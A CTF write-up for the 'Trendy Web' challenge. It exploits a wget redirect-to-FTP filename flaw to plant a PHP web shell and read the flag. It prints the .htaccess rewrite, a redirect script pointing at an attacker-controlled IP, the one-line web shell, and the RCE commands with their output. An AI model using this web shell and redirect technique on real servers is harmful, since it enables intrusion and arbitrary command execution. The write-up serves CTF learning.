Description
Trendy~! Web~
The flag reader is on /.http://chal.cykor.kr:8082
http://52.78.11.234:8082p.s.
If the download doesn’t work, try this:
https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859and it requires data/ folder
Resolution
This web challenge was pretty fun to resolve, as it involved a very recent vulnerability.
The source code of the only PHP page we could access was given, therefore we started auditing it (here is the gist link).
Firstly, we were interested in both the system
and unserialize
functions, appearing in the code. Here is an extract of the way they were used:
class MyClass { function __wakeup() { system($_GET['cmd']); // come onn! } } /* code */ if(!is_file('pickle')) $_SESSION = array(); else $_SESSION = unserialize(file_get_contents('pickle')); /* bla bla */ if($url['path'] == '/avatar.png') { system('/usr/bin/wget '.escapeshellarg($origUrl)); }
If you want to put back in context their use, please check the source file (from now on I consider you know it).
We have some very interesting stuff, it turns out we have to control the content of the pickle file contained in our personal data folder. Maybe could we add an option when wget
is getting called ? We are controlling the $origUrl
variable.
Thanks to la Nuit du Hack 2016, we had a little challenge to resolve where we had to bypass escapeshellarg
. I tried to change the output of wget to pickle by using something similar to http://myserver/avatar.png' -O pickle '
, but it so happens that it didn’t work.
We suddenly remembered a vulnerability we had seen on twitter, which was publicly disclosed the day just before. Here you can read an article about it: https://blogs.securiteam.com/index.php/archives/2701.
In our case, the script was downloading an image, and accepted every image
parameter in a POST request, where the URI scheme was http
, and the path /avatar.png
.
We set up a server on one of our personal computers, where we had an apache
service running, and a proftpd
server on, with anonymous passwordless access allowed. The article says that the vulnerability permits to change the name of the file it is supposed to download, if one can redirect wget to an URI with another protocol than HTTP (supported by wget though).
I had a .htaccess file on the root of my apache server, containing:
RewriteEngine On RewriteRule ^avatar\.png$ avatar.png.php
avatar.png.php
<?php header("Location: ftp://MY_IP_ADDR/pickle"); // pickle will be the name of the downloaded file
The result of the serialization of a MyClass object in the file pickle
O:7:"MyClass":0:{}
The goal was to send a POST request with the image
parameter to http://MY_IP_ADDR/avatar.png
, which would be redirected to ftp://MY_IP_ADDR/pickle
, write the pickle file, which would then be unserialized, and… Ho wait.
if(!is_file('pickle')) $_SESSION = array(); else $_SESSION = unserialize(file_get_contents('pickle'));
If the file doesn’t exist, it doesn’t unserialize anything. Damn it.
We suddenly thought “Why wouldn’t we just upload a PHP script?”. Ho right.
avatar.png.php
<?php header("Location: ftp://MY_IP_ADDR/rce.php"); // pickle will be the name of the downloaded file
<?php system($_GET["c"]);
The rce.php file was correctly created in our personal data/ folder. We had a remote code execution (RCE)! We directly looked at the root of the server:
http://chal.cykor.kr:8082/data/6152b77f6d5e8a2dfd72/rce.php?c=ls%20-la%20/
total 36 drwxr-xr-x. 21 root root 4096 Jul 9 13:54 . drwxr-xr-x. 21 root root 4096 Jul 9 13:54 .. -rwxr-xr-x. 1 root root 0 Jul 9 13:54 .dockerenv drwxr-xr-x. 2 root root 4096 Jul 9 09:40 bin drwxr-xr-x. 2 root root 6 Apr 17 2015 boot drwxr-xr-x. 5 root root 360 Jul 9 13:54 dev drwxr-xr-x. 57 root root 4096 Jul 9 13:54 etc ---x--x---. 1 root www-data 6172 Jul 9 08:26 flag_is_heeeeeeeereeeeeee drwxr-xr-x. 2 root root 6 Apr 17 2015 home drwxr-xr-x. 9 root root 4096 Jul 9 09:40 lib drwxr-xr-x. 2 root root 33 Jan 22 07:46 lib64 drwxr-xr-x. 2 root root 6 Jan 22 07:46 media drwxr-xr-x. 2 root root 6 Apr 17 2015 mnt drwxr-xr-x. 2 root root 6 Jan 22 07:46 opt dr-xr-xr-x. 306 nobody nogroup 0 Jul 9 13:54 proc drwx------. 2 root root 35 Jan 22 07:47 root drwxr-xr-x. 6 root root 90 Jul 9 09:40 run drwxr-xr-x. 2 root root 4096 Jul 9 09:40 sbin drwxr-xr-x. 2 root root 6 Jan 22 07:46 srv dr-xr-xr-x. 13 nobody nogroup 0 Jul 9 13:54 sys drwx-wx-wt. 2 root root 6 Jul 9 13:54 tmp drwxr-xr-x. 10 root root 97 Jan 26 17:48 usr drwxr-xr-x. 12 root root 4096 Jul 9 09:40 var
And then:
http://chal.cykor.kr:8082/data/6152b77f6d5e8a2dfd72/rce.php?c=/flag_is_heeeeeeeereeeeeee
1-day is not trendy enough
Nice !
Flag was 1-day is not trendy enough
!
PS: for some reason it didn’t flag with this sentence for a while, we thought we had to dump the binary (which was supposed not to be readable), and used this script: http://hkpco.kr/code/hktrace.c. It worked well, but there was nothing revelant in it.
We tried to submit the standard output once more, and it finally worked. WTF happened? We don’t know haha 🙂